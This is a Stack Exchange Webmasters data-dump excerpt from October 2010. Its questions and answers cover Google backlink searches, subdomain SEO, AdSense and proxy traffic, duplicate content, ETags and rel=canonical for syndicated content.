  <row Id="7112" PostHistoryTypeId="2" PostId="3635" RevisionGUID="cf952a6f-da8e-49d7-a064-40a8c8866021" CreationDate="2010-10-08T06:19:39.100" UserId="2026" Text="If I google `link:article-stack.com`, it shows 4 interlinks in result.&#xD;&#xA;&#xD;&#xA;1. If it shows interlinks it should show &gt; 250 links. But it is showing 4 only.&#xD;&#xA;2. Google webmaster is saying 8 external links. But google search is not showing it&#xD;&#xA;3. Previously it was showing 6 links &#xD;&#xA;&#xD;&#xA;	a) 1 from stackoverflow&#xD;&#xA;	b) 1 from wordpress&#xD;&#xA;	c) 4 from my own site&#xD;&#xA;&#xD;&#xA;then it came to 5. Now it is 4 only. While there are&#xD;&#xA;&#xD;&#xA;	a) 3-4 links on stackoverflow&#xD;&#xA;	b) 3-4 links on stackexchange&#xD;&#xA;	c) 3 links on wordpress&#xD;&#xA;	d) 4-5 links on sulekha&#xD;&#xA;&#xD;&#xA;I already had checked that all external pages, which are pointing to my site, are indexed and cached by google.&#xD;&#xA;&#xD;&#xA;Am i searching in wrong way?&#xD;&#xA;" />
  <row Id="7113" PostHistoryTypeId="1" PostId="3635" RevisionGUID="cf952a6f-da8e-49d7-a064-40a8c8866021" CreationDate="2010-10-08T06:19:39.100" UserId="2026" Text="problem with google search in link:article-stack.com" />
  <row Id="7114" PostHistoryTypeId="3" PostId="3635" RevisionGUID="cf952a6f-da8e-49d7-a064-40a8c8866021" CreationDate="2010-10-08T06:19:39.100" UserId="2026" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="7115" PostHistoryTypeId="2" PostId="3636" RevisionGUID="4147416b-9784-447f-b940-78305353b778" CreationDate="2010-10-08T06:41:14.313" UserId="767" Text="Two additional ideas.&#xD;&#xA;&#xD;&#xA;If the posts are being automatically scraped from your site, consider including a standard footer *within* the body of your post - a footer that contains the name of your site, your site address, and a copyright notice. Then, **your site** ends up being promoted by the pirate. &#xD;&#xA;&#xD;&#xA;Alternatively, if you can work out the IP address of the pirate, you could block it entirely, and stop them from browsing your blog." />
  <row Id="7116" PostHistoryTypeId="2" PostId="3637" RevisionGUID="cb6e6a5c-6329-463a-b6e3-69aadfa59482" CreationDate="2010-10-08T06:51:13.207" UserDisplayName="eydryan" Text="Settings for that can be found at http://www.olark.com/gtalk/check_srv" />
  <row Id="7117" PostHistoryTypeId="2" PostId="3638" RevisionGUID="190b62f1-703a-41dd-9f14-138d7dbd9438" CreationDate="2010-10-08T07:05:22.860" UserDisplayName="jeet" Text="Which of this is search-engine friendly - google?&#xD;&#xA;&#xD;&#xA;www.example.com/keyword **or** www.keyword.example.com or www.example.com/keyword1-keyword2&#xD;&#xA;&#xD;&#xA;Please explain the logic behind while answering and rate them.&#xD;&#xA;&#xD;&#xA;Give me some more tips about subdomain seo, like www.keyword.example.com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7118" PostHistoryTypeId="1" PostId="3638" RevisionGUID="190b62f1-703a-41dd-9f14-138d7dbd9438" CreationDate="2010-10-08T07:05:22.860" UserDisplayName="jeet" Text="Which of this is search-engine friendly - google?" />
  <row Id="7119" PostHistoryTypeId="3" PostId="3638" RevisionGUID="190b62f1-703a-41dd-9f14-138d7dbd9438" CreationDate="2010-10-08T07:05:22.860" UserDisplayName="jeet" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;subdomain&gt;" />
  <row Id="7120" PostHistoryTypeId="2" PostId="3639" RevisionGUID="caf002ad-b899-49e4-b6ba-897d6eb021f6" CreationDate="2010-10-08T07:21:08.947" UserId="2026" Text="If i surf a site using proxy server then can it increase adsense value or daily hits?" />
  <row Id="7121" PostHistoryTypeId="1" PostId="3639" RevisionGUID="caf002ad-b899-49e4-b6ba-897d6eb021f6" CreationDate="2010-10-08T07:21:08.947" UserId="2026" Text="adsense and proxy servers" />
  <row Id="7122" PostHistoryTypeId="3" PostId="3639" RevisionGUID="caf002ad-b899-49e4-b6ba-897d6eb021f6" CreationDate="2010-10-08T07:21:08.947" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="7123" PostHistoryTypeId="2" PostId="3640" RevisionGUID="1dc2e89e-d12c-4528-b73e-4f4e967e1618" CreationDate="2010-10-08T07:42:12.053" UserId="1089" Text="This is very similar to this question: &#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/3496/do-subdomains-help-hurt-seo&#xD;&#xA;&#xD;&#xA;and this one:&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/3494/are-page-ranks-for-subdomains-independent/3495#3495&#xD;&#xA;&#xD;&#xA;My advice is taken from here: (linked from one of the above answers)&#xD;&#xA;&#xD;&#xA;http://www.mattcutts.com/blog/subdomains-and-subdirectories/&#xD;&#xA;&#xD;&#xA;&quot;If you’re a newer webmaster or SEO, I’d recommend using subdirectories until you start to feel pretty confident with the architecture of your site. At that point, you’ll be better equipped to make the right decision for your own site.&quot;" />
  <row Id="7124" PostHistoryTypeId="2" PostId="3641" RevisionGUID="e89cc88c-3430-4df9-9054-07c855d44757" CreationDate="2010-10-08T08:49:25.457" UserId="196" Text="I have an idea to use a (cc-by-sa) data dump from another site, but implement a different voting scheme.&#xD;&#xA;This would still be a site with almost 99% of the data similar.&#xD;&#xA;&#xD;&#xA;How can I avoid problems such as wrongfully being interpreted by search engines as a duplicate?&#xD;&#xA;&#xD;&#xA;Are the links to the original site enough to avoid this?&#xD;&#xA;&#xD;&#xA;One Idea would be to only show the titles and the locally unique data to the spiders but that would violate one guideline of sending different data to the spider and other visitors.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7125" PostHistoryTypeId="1" PostId="3641" RevisionGUID="e89cc88c-3430-4df9-9054-07c855d44757" CreationDate="2010-10-08T08:49:25.457" UserId="196" Text="Cloning a site and avoiding SEO problems" />
  <row Id="7126" PostHistoryTypeId="3" PostId="3641" RevisionGUID="e89cc88c-3430-4df9-9054-07c855d44757" CreationDate="2010-10-08T08:49:25.457" UserId="196" Text="&lt;seo&gt;" />
  <row Id="7127" PostHistoryTypeId="2" PostId="3642" RevisionGUID="f47da5e2-bdb1-4a4a-bae9-411b9ea01fba" CreationDate="2010-10-08T09:15:12.947" UserId="1955" Text="Duplicate content on two or more URLs even on the same domain is bad(and it may bring you penalty from search engines). Can you describe further why exactly do you need to copy the content." />
  <row Id="7128" PostHistoryTypeId="2" PostId="3643" RevisionGUID="9efcd0d8-4265-4275-97c5-5a4b18b40625" CreationDate="2010-10-08T09:42:02.280" UserId="1955" Text="1) docxconverter.com is not indexed by Google  &#xD;&#xA;2) content is more important than the domain name for more information you can check http://webmasters.stackexchange.com/questions/3548/how-important-is-the-domain-name-for-seo" />
  <row Id="7129" PostHistoryTypeId="2" PostId="3644" RevisionGUID="90c2bae7-46fd-488f-9f39-f46ce5aef6b0" CreationDate="2010-10-08T10:26:17.963" UserId="2248" Text="Does anyone knows disadvantatges on installing a commercial website on Tonga domains? I mean, maybe it is not advisable to link a website for .TO domains (these domains tends to be for torrents, for instance)." />
  <row Id="7130" PostHistoryTypeId="1" PostId="3644" RevisionGUID="90c2bae7-46fd-488f-9f39-f46ce5aef6b0" CreationDate="2010-10-08T10:26:17.963" UserId="2248" Text="Tonga domains for commercial websites" />
  <row Id="7131" PostHistoryTypeId="3" PostId="3644" RevisionGUID="90c2bae7-46fd-488f-9f39-f46ce5aef6b0" CreationDate="2010-10-08T10:26:17.963" UserId="2248" Text="&lt;top-level-domains&gt;" />
  <row Id="7132" PostHistoryTypeId="5" PostId="974" RevisionGUID="9fe1a4f5-84e3-412e-915b-b7082a0925f8" CreationDate="2010-10-08T10:38:55.317" UserId="307" Comment="fixed error (encoding is defined in &lt;meta charset&gt;, not &lt;meta encoding&gt;)" Text="HTML5 is *huge*, but also **awesome**.&#xD;&#xA;&#xD;&#xA;In my view, it is mostly about *interoperability*. The spec goes and specifies even edge cases to try and make sure that **all browsers read the markup the same way**.&#xD;&#xA;&#xD;&#xA;In second place, HTML5 has video and audio, which do exactly what the name says it does. If you want to include video or audio, HTML5 should reduce your plugin needs.&#xD;&#xA;&#xD;&#xA;In third place, HTML5 includes lots of accessibility and semantic help. For instance, elements like `&lt;section&gt;` and `&lt;article&gt;` help machines figure out what content is supposed to be. New input types like `&lt;input type=email&gt;` can also be useful for the same reasons, although the new input types include custom UIs which make them useful even for &quot;common&quot; human readers.&#xD;&#xA;&#xD;&#xA;Note that the new Forms features are much more than new input types. It also includes support for placeholder text and several other attributes.&#xD;&#xA;&#xD;&#xA;HTML5 includes `&lt;canvas&gt;`, which allows drawing 2D(and, with WebGL, 3D) shapes like charts or even render games.&#xD;&#xA;&#xD;&#xA;Old behavior is now standardized, such as Internet Explorer's ancient `contentEditable`.&#xD;&#xA;&#xD;&#xA;The DOCTYPE is finally decent! You can now actually memorize it! `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;Specifying encoding is also easier, with `&lt;meta charset=utf-8&gt;`.&#xD;&#xA;&#xD;&#xA;If you want to send data to the client and associate it with elements, you can now do it with custom attributes. For instance, `&lt;div data-status=open&gt;Open&lt;/div&gt;` is now finally allowed. Note that custom attribute names must be prefixed with `data-`.&#xD;&#xA;&#xD;&#xA;You can now include SVG and MathML in HTML documents. Previously, you could only do it with XHTML documents.&#xD;&#xA;&#xD;&#xA;Among the multiple new functions and fields HTML5 defines, one of the most impressive is classList, which enables you to manipulate the class attribute more easily. Instead of having to getAttribute/setAttribute and use complex hacks to figure out which classes an element has and remove a specific class from that element, classList makes those hard situations very simple.&#xD;&#xA;&#xD;&#xA;There are also multiple related specs, such as Web Workers, Web Sockets and IndexedDB, which are not really part of HTML5 but everybody talks about them as if they were. They are very useful for taking advantage of multi-core computers, communicating with servers and storing data locally.&#xD;&#xA;&#xD;&#xA;As for CSS3, it includes support for *animations*, *transitions*, *rounded borders* and the [flexible box model][1].&#xD;&#xA;&#xD;&#xA;Also new in CSS3 are the new selectors, which make it simpler to match specific elements on a page(such as only the odd or even rows in a table).&#xD;&#xA;&#xD;&#xA;Opacity, new units, marquee and ruby are also part of CSS3.&#xD;&#xA;&#xD;&#xA;I think that pretty much covers all important parts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hacks.mozilla.org/2010/04/the-css-3-flexible-box-model/" />
  <row Id="7133" PostHistoryTypeId="5" PostId="3620" RevisionGUID="1b8f3126-1547-4802-b539-fa2ab8b5bf42" CreationDate="2010-10-08T10:40:31.227" UserId="288" Comment="clarification" Text="It terms of public perception I think the domain is becoming less and less relevant. There are (at least) two factors at play here.&#xD;&#xA;&#xD;&#xA;Firstly, I'm seeing more and more adverts for companies that simply say &quot;search [terms]&quot; when the company wants to direct you to a web site. This means that the user isn't typing the site name and so is less likely to notice what it actually is. Witness people trying to log into a blog about Facebook thinking it *was* facebook.&#xD;&#xA;&#xD;&#xA;Secondly, when domains are mentioned they are often vanity URLs such as &quot;five.tv&quot; (a television channel here in the UK) rather than &quot;channel5.co.uk&quot;.&#xD;&#xA;&#xD;&#xA;Thirdly, there has been an expansion of TLDs recently.&#xD;&#xA;&#xD;&#xA;As for the SEO side of things, I would have thought that it's the content and incoming links that are important rather than the domain - but I'm willing to be proved wrong on that." />
  <row Id="7134" PostHistoryTypeId="2" PostId="3645" RevisionGUID="674077c2-8cf1-420d-8752-5d45153348bd" CreationDate="2010-10-08T11:06:11.807" UserId="1064" Text="&gt; You shall not, and shall not authorize&#xD;&#xA;&gt; or encourage any third party to: (i)&#xD;&#xA;&gt; directly or indirectly generate&#xD;&#xA;&gt; queries, Referral Events, or&#xD;&#xA;&gt; impressions of or clicks on any Ad,&#xD;&#xA;&gt; Link, Search Result, or Referral&#xD;&#xA;&gt; Button  (including without limitation&#xD;&#xA;&gt; by clicking on “play” for any video&#xD;&#xA;&gt; Ad) through any automated, deceptive,&#xD;&#xA;&gt; fraudulent or other invalid means,&#xD;&#xA;&gt; including but not limited to through&#xD;&#xA;&gt; repeated manual clicks, the use of&#xD;&#xA;&gt; robots or other automated query tools&#xD;&#xA;&gt; and/or computer generated search&#xD;&#xA;&gt; requests, and/or the unauthorized use&#xD;&#xA;&gt; of other search engine optimization&#xD;&#xA;&gt; services and/or software ...&#xD;&#xA;&#xD;&#xA;[AdSense Terms and Conditions][1]&#xD;&#xA;&#xD;&#xA;If Google notes a suspicious pattern of activity on your AdSense account (i.e. all of the referrals are coming from proxy users) I suspect you won't have an AdSense account for very long - &quot;cheating&quot;, as such, is ultimately counter-productive.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/localized-terms" />
  <row Id="7135" PostHistoryTypeId="2" PostId="3646" RevisionGUID="67731e0e-9f66-4a48-a745-10fd155cf69a" CreationDate="2010-10-08T11:15:12.467" UserId="2026" Text="What is the difference between following google search statements&#xD;&#xA;&#xD;&#xA;`link:article-stack.com`&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;`link:article-stack.com site:stackexchange.com`&#xD;&#xA;&#xD;&#xA;Can i consider 2nd search result as a subset of 1st search result?" />
  <row Id="7136" PostHistoryTypeId="1" PostId="3646" RevisionGUID="67731e0e-9f66-4a48-a745-10fd155cf69a" CreationDate="2010-10-08T11:15:12.467" UserId="2026" Text="How to search for backlinks on google" />
  <row Id="7137" PostHistoryTypeId="3" PostId="3646" RevisionGUID="67731e0e-9f66-4a48-a745-10fd155cf69a" CreationDate="2010-10-08T11:15:12.467" UserId="2026" Text="&lt;google&gt;" />
  <row Id="7138" PostHistoryTypeId="2" PostId="3647" RevisionGUID="a26d1f3f-6d21-4ef0-8c66-e84b85c05fe8" CreationDate="2010-10-08T11:42:16.827" UserId="233" Text="In short: *yes*, the second is a subset of the first.&#xD;&#xA;&#xD;&#xA;The first query searches for links to your site from anywhere and everywhere (including internal links on your own site). The second query searches for links to your site from stackexchange.com only.&#xD;&#xA;&#xD;&#xA;For more comprehensive and useful results, try these sources:&#xD;&#xA;&#xD;&#xA;* [Google Webmaster Tools][1]&#xD;&#xA;* [Yahoo Site Explorer][2]&#xD;&#xA;* [Open Site Explorer][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://siteexplorer.search.yahoo.com/&#xD;&#xA;  [3]: http://www.opensiteexplorer.org/" />
  <row Id="7139" PostHistoryTypeId="2" PostId="3648" RevisionGUID="193a04eb-0093-45e5-bfec-4133ef87b0bb" CreationDate="2010-10-08T12:01:11.243" UserId="1253" Text="Duplicate content is duplicate content. Changing the voting mechanism won't mean a thing. The duplicate content will be filtered out and do you no good. As far as SEO goes, it's a waste of time. &#xD;&#xA;&#xD;&#xA;And the Internet doesn't need more of the same. Try creating new content. It's what people are looking for." />
  <row Id="7140" PostHistoryTypeId="2" PostId="3649" RevisionGUID="33151f0c-01ee-4bc7-abdd-d45e8a663e6d" CreationDate="2010-10-08T12:02:20.600" UserId="1253" Text="[It basically only affects local search.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2330/does-google-penalize-me-or-tv-sites/2331#2331" />
  <row Id="7141" PostHistoryTypeId="2" PostId="3650" RevisionGUID="b16e5074-90b5-4edb-b5b4-cfead53faf54" CreationDate="2010-10-08T13:08:51.193" UserId="2251" Text="I was just looking at our site on [WebPageTest.org][1] and one of their recommendations for speeding up a website is:&#xD;&#xA;&#xD;&#xA;&gt; ETag headers should generally not be used unless you have an explicit reason to need them&#xD;&#xA;&#xD;&#xA;I was wondering what this means. Does it mean that static content you know will not be changing should not have them, or does it mean content you know will be changing regularly shouldn't have them, or does it mean that you shouldn't use them _generally_ unless you have a specific need.&#xD;&#xA;&#xD;&#xA;If it's the latter, when is the right time to use them? Thanks for any help.&#xD;&#xA;&#xD;&#xA;  [1]: http://webpagetest.org" />
  <row Id="7142" PostHistoryTypeId="1" PostId="3650" RevisionGUID="b16e5074-90b5-4edb-b5b4-cfead53faf54" CreationDate="2010-10-08T13:08:51.193" UserId="2251" Text="When to use and not to use ETags" />
  <row Id="7143" PostHistoryTypeId="3" PostId="3650" RevisionGUID="b16e5074-90b5-4edb-b5b4-cfead53faf54" CreationDate="2010-10-08T13:08:51.193" UserId="2251" Text="&lt;web-development&gt;&lt;optimization&gt;&lt;page-speed&gt;&lt;http-headers&gt;" />
  <row Id="7144" PostHistoryTypeId="2" PostId="3651" RevisionGUID="5ef8e043-5f13-4580-9240-e2d788a9f88a" CreationDate="2010-10-08T13:34:03.147" UserId="1064" Text="To paraphrase Coding Horror's excellent [evaluation of the YSlow Firebug plugin][1] (which it appears WebPageTest.org is using as a basis for their evaluation):&#xD;&#xA;&#xD;&#xA;&quot;Yahoo is one of the busiest websites in the world - its problems are probably *not* your problems.&quot;&#xD;&#xA;&#xD;&#xA;If you're not dealing in millions of uniques across your load-balanced network every day, there's a good chance that the suggestions provided are *not* all the right choices when optimizing your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2007/08/yslow-yahoos-problems-are-not-your-problems.html" />
  <row Id="7145" PostHistoryTypeId="2" PostId="3652" RevisionGUID="7c86fdde-f23d-4b95-bbe8-339901251b7b" CreationDate="2010-10-08T15:18:17.817" UserId="480" Text="ETags are an alternative to (but can be used in combination with) &quot;Last-Modified-Time&quot; in order to determine cache validation.&#xD;&#xA;&#xD;&#xA;The client can send a pre-condition such as if-matches or if-not-matches on the ETag. This is not just for GET requests (which is what webpagetest.org does) you can use &quot;opportunistic updating&quot; so that a PUT request has a pre-condition and will not perform the operation if the resource has been updated in the mean time.&#xD;&#xA;&#xD;&#xA;Generally I agree with AOL (who run webpagetest.org) on their &quot;one size fits all&quot; advice - it is better not to clog up HTTP headers with cryptic strings (ETags are generally not pretty or human readable) when a second of difference (which Last-Modified-Time can detect) will do for the job in hand.&#xD;&#xA;&#xD;&#xA;If a page is being updated several times a second and you absolutely need the latest most accurate version to be displayed, you may want to experiment with solutions other than HTTP GETs or just use ETags.&#xD;&#xA;&#xD;&#xA;Be careful that your ETags do not include per filesystem (or per change) information (such as inodes which is default on Apache) otherwise you'll have problems when there are two servers (the ETags from each will not match)." />
  <row Id="7146" PostHistoryTypeId="5" PostId="3633" RevisionGUID="5315bd16-3238-4916-864d-2e5f53468065" CreationDate="2010-10-08T15:25:27.217" UserId="1757" Comment="typo" Text="The traditional personal homepage counter is unprofessional, but a lot of large sites and commercial services use counters to show how popular they are (yes, it's the bandwagon fallacy, but it works).&#xD;&#xA;&#xD;&#xA;Usually, it's something like&#xD;&#xA;&#xD;&#xA;    *Over 2500 design companies have signed up for our wireframing service.*&#xD;&#xA;    [logos of the biggest companies]&#xD;&#xA;&#xD;&#xA;    *278,046 users are currently signed on*&#xD;&#xA;&#xD;&#xA;    *56,218 galleries hosted.*&#xD;&#xA;&#xD;&#xA;    *200,000 videos posted.*&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The first example shows that a service/product is endorsed by many in the industry, which could pique the visitor's interest and inspire confidence. The second would be useful on a social network, since social networks are useless unless they're popular. The third and forth show that a service is both popular and robust, as well as showing off how much content the site has.&#xD;&#xA;&#xD;&#xA;Plain traffic statistics generally aren't worth advertising, but if your application has just grown from a small open beta to having 5 million hits a day, then you may want to celebrate that on your homepage for a few weeks.&#xD;&#xA;&#xD;&#xA;One of the few exceptions is if your website is for a cause. Then a hit counter may be relevant and interesting to people. It's a good measure of how much support and interest the cause is getting." />
  <row Id="7147" PostHistoryTypeId="5" PostId="3652" RevisionGUID="5456bdbb-a068-401a-8a6e-4f888555ef3a" CreationDate="2010-10-08T15:27:57.963" UserId="480" Comment="added 471 characters in body" Text="ETags are an alternative to (but can be used in combination with) &quot;Last-Modified-Time&quot; in order to determine cache validation.&#xD;&#xA;&#xD;&#xA;The client can send a pre-condition such as if-matches or if-none-matches based on the ETag. This is not just for GET requests (which is what webpagetest.org does) you can use &quot;opportunistic updating&quot; so that a PUT request has a pre-condition and will not perform the update operation if the resource has been updated since the ETag was last acquired.&#xD;&#xA;&#xD;&#xA;Put simply: you hit edit on a page in your CMS, your friend hits edit on a page in your CMS, your friend performs their edit and hits save and finally you hit save - without an ETag or Content-MD5 HTTP header you would need to reinvent the wheel to prevent problems occuring (such as you wiping over your friends changes) the solution is already part of the HTTP protocol and therefore it makes sense to just use it.&#xD;&#xA;&#xD;&#xA;Generally I agree with AOL (who run webpagetest.org) on their &quot;one size fits all&quot; advice - it is better not to clog up HTTP headers with cryptic strings (ETags are generally not pretty or human readable) when a second of difference (which Last-Modified-Time can detect) will do for the job in hand.&#xD;&#xA;&#xD;&#xA;If a page is being updated several times a second and you absolutely need the latest most accurate version to be displayed, you may want to experiment with solutions other than HTTP GETs or just use ETags.&#xD;&#xA;&#xD;&#xA;Be careful that your ETags do not include per filesystem (or per server configuration change) information (such as inodes which is default on Apache) otherwise you'll have problems when there are two servers (the ETags from each will not match)." />
  <row Id="7148" PostHistoryTypeId="2" PostId="3653" RevisionGUID="eda40b89-bb33-417a-9f19-40c8497a8df8" CreationDate="2010-10-08T15:28:57.250" UserId="233" Text="1. There is no real website at *docxconverter.com*, it's just a domain-squatting page and has zero value. That same content is on literally thousands, maybe millions of pages. *docx-converter.com* on the other hand is a real site with content.&#xD;&#xA;&#xD;&#xA;2. Both are equal as far as I know (though there is a tiny chance non-hyphen will rank better). However, for *users* it's best to avoid hyphens in domain names, because they are easier to remember and dictate to others." />
  <row Id="7149" PostHistoryTypeId="5" PostId="3616" RevisionGUID="6d19ed80-5205-41f9-b950-623dbaddb17b" CreationDate="2010-10-08T15:30:46.530" UserId="233" Comment="better title and grammar" Text="Why did not **docxconverter.com** show up when I type **docx converter** in **google**? The closest match is **www.docx-converter.com**.&#xD;&#xA;&#xD;&#xA;My question 1: What are the reasons for **www.docxconverter.com** not showing up?&#xD;&#xA;&#xD;&#xA;My question 2: Which among the domain **www.docxconverter.com** and **www.docx-converter.com** is friendly with keyword phrase docx converter, and why?" />
  <row Id="7150" PostHistoryTypeId="4" PostId="3616" RevisionGUID="6d19ed80-5205-41f9-b950-623dbaddb17b" CreationDate="2010-10-08T15:30:46.530" UserId="233" Comment="better title and grammar" Text="Keyword research: 'docx converter' in Google" />
  <row Id="7151" PostHistoryTypeId="2" PostId="3654" RevisionGUID="701daf24-f318-4fc3-b8fd-89dc256cbbcc" CreationDate="2010-10-08T15:45:15.913" UserId="2256" Text="I am checking the word mobile on google insight.&#xD;&#xA;&#xD;&#xA;http://www.google.com/insights/search/#q=mobile&amp;cmpt=q&#xD;&#xA;&#xD;&#xA;I see a bar with mobile ]]]]]]]]]]]]] 62&#xD;&#xA;&#xD;&#xA;Then on google help page - &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I get this. However, I am unable to understand.&#xD;&#xA;&#xD;&#xA;**The numbers on the graph reflect how many searches have been done for a particular term, relative to the total number of searches done on Google over time. They don't represent absolute search volume numbers, because the data is normalized and presented on a scale from 0-100.**&#xD;&#xA;&#xD;&#xA;**My question is what does the number 62 determine? Any ideas?**" />
  <row Id="7152" PostHistoryTypeId="1" PostId="3654" RevisionGUID="701daf24-f318-4fc3-b8fd-89dc256cbbcc" CreationDate="2010-10-08T15:45:15.913" UserId="2256" Text="Google insight question" />
  <row Id="7153" PostHistoryTypeId="3" PostId="3654" RevisionGUID="701daf24-f318-4fc3-b8fd-89dc256cbbcc" CreationDate="2010-10-08T15:45:15.913" UserId="2256" Text="&lt;seo&gt;&lt;google&gt;&lt;research&gt;" />
  <row Id="7154" PostHistoryTypeId="2" PostId="3655" RevisionGUID="3a217db4-2f82-4924-ae7f-1bd814f9ea37" CreationDate="2010-10-08T15:49:39.197" UserId="233" Text="First, it should be noted that any difference between the configurations you mention is relatively minor.&#xD;&#xA;&#xD;&#xA;They are all SE friendly in their own ways but in general:&#xD;&#xA;&#xD;&#xA;* Keywords in the top level domain (e.g. www.KeywordExample.com) are given a little more weight.&#xD;&#xA;* Subdomains (e.g. keyword.example.com) and directories (e.g. example.com/keyword) are pretty much the same.&#xD;&#xA;* Subdomains are treated as separate, but usually related, sites.&#xD;&#xA;&#xD;&#xA;In short, **don't worry about it**. Just create your site on a suitable domain with unique, relevant content. And remember that the biggest ranking factor in Google is still **links**. Any advantage from one URL configuration over another is insignificant once you have a handful of links pointing to your site." />
  <row Id="7155" PostHistoryTypeId="2" PostId="3656" RevisionGUID="2b219f68-db04-4790-896b-a382377568e7" CreationDate="2010-10-08T15:55:27.200" UserId="1253" Text="100 = Most active searches&#xD;&#xA;&#xD;&#xA;0 = Least active searches&#xD;&#xA;&#xD;&#xA;That means that &quot;mobile&quot; (64) is above average (50) in terms of search popularity. But not by a whole lot." />
  <row Id="7156" PostHistoryTypeId="5" PostId="3652" RevisionGUID="588499a5-316d-470b-ad6c-a519bb2aba23" CreationDate="2010-10-08T18:57:20.987" UserId="480" Comment="clarified answer" Text="ETags are an alternative to (but can be used in combination with) &quot;Last-Modified-Time&quot; in order to determine cache validation.&#xD;&#xA;&#xD;&#xA;The client can send a pre-condition such as if-matches or if-none-matches based on the ETag. This is not just for GET requests (which is what webpagetest.org does) you can use &quot;opportunistic updating&quot; so that a PUT request has a pre-condition and will not perform the update operation if the resource has been updated since the ETag was last acquired.&#xD;&#xA;&#xD;&#xA;Put simply: you hit edit on a page in your CMS, your friend hits edit on a page in your CMS, your friend performs their edit and hits save and finally you hit save - without an ETag or Content-MD5 HTTP header you would need to reinvent the wheel to prevent problems occuring (such as you wiping over your friends changes) the solution is already part of the HTTP protocol and therefore it makes sense to just use it.&#xD;&#xA;&#xD;&#xA;Generally I agree with AOL (who run webpagetest.org) on their &quot;one size fits all&quot; advice - it is better not to clog up HTTP headers with cryptic strings (ETags are generally not pretty or human readable) when a second of difference (which Last-Modified-Time can detect) will do for the job in hand.&#xD;&#xA;&#xD;&#xA;If a page is being updated several times a second and you absolutely need the latest most accurate version to be displayed, you may want to experiment with solutions other than HTTP GETs or just use ETags.&#xD;&#xA;&#xD;&#xA;Be careful that your ETags do not include per filesystem, per server configuration change, etc information (such as inodes which is default on Apache) otherwise you'll have problems when there are two servers (the ETags from each one will not match)." />
  <row Id="7157" PostHistoryTypeId="2" PostId="3657" RevisionGUID="29907c58-bb39-451f-964b-f816c3779713" CreationDate="2010-10-08T19:26:38.187" UserId="2228" Text="You could take a look at [PayPal Website Payments Pro][1]. It's essentially the same cost as Auth.NET, but it may be available in Europe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://merchant.paypal.com/us/cgi-bin/?&amp;cmd=_render-content&amp;content_ID=merchant/compare_wp_products" />
  <row Id="7158" PostHistoryTypeId="2" PostId="3658" RevisionGUID="6c7ca0e4-f3ff-4d88-b046-c39b8c84b6ed" CreationDate="2010-10-08T20:38:11.880" UserId="847" Text="I work at a site which allows syndication of content (via API's and data dumps). We are finding that a number of sites which republish our content are appearing higher in Google search results, even though we're the original publisher. This is frustrating.&#xD;&#xA;&#xD;&#xA;We are considering making rel=canonical part of our attribution requirements. Google [says it's legitimate][1] to use it across domains, and in syndication scenarios.&#xD;&#xA;&#xD;&#xA;Have you done this, and does Google consider the canonical URL in search rankings? Will it help us in reducing such SERP &quot;spam&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/12/handling-legitimate-cross-domain.html" />
  <row Id="7159" PostHistoryTypeId="1" PostId="3658" RevisionGUID="6c7ca0e4-f3ff-4d88-b046-c39b8c84b6ed" CreationDate="2010-10-08T20:38:11.880" UserId="847" Text="Using rel=canonical with syndication" />
  <row Id="7160" PostHistoryTypeId="3" PostId="3658" RevisionGUID="6c7ca0e4-f3ff-4d88-b046-c39b8c84b6ed" CreationDate="2010-10-08T20:38:11.880" UserId="847" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;syndication&gt;" />
  <row Id="7161" PostHistoryTypeId="2" PostId="3659" RevisionGUID="74b32d8d-8117-4845-b02c-7ce7f0c3757a" CreationDate="2010-10-08T20:46:02.497" UserId="3" Text="My research indicated that requiring a link back -- **and that the link NOT be nofollowed** -- was by far the most important criteria.&#xD;&#xA;&#xD;&#xA;If the &quot;syndicating&quot; site does not attribute the content with links back to the original that are valid for search engines to follow, search engines have a much harder time tracing where the content originated, and must apply complex &quot;find duplicate text content across the whole of the internet&quot; heuristics.&#xD;&#xA;&#xD;&#xA;I'm not sure any more than that is necessary.&#xD;&#xA;&#xD;&#xA;Related Matt Cutts video&#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=x8XdFb6LGtM&#xD;&#xA;&#xD;&#xA;&gt; Matt said that it would be a good idea to use rel=&quot;canonical&quot; to point back to the page where the article originated - just as he has often suggested that syndicated articles include conventional links (ie. an `&lt;a&gt;`nchor tag) pointing back to the original article.  &#xD;&#xA;&#xD;&#xA;Bear in mind that canonical isn't just slapping `rel=&quot;canonical&quot;` on an `&lt;a&gt;` tag; it's more like this:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;             &lt;link rel=&quot;canonical&quot; href=&quot;http://example.com/foo&quot;&gt;&#xD;&#xA;        &lt;/head&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;So it requires a different sort of work, you have to modify each page header. I'm not sure many of these &quot;syndicators&quot; will have that level of control versus a simple link (*sans* nofollow!) back to the source." />
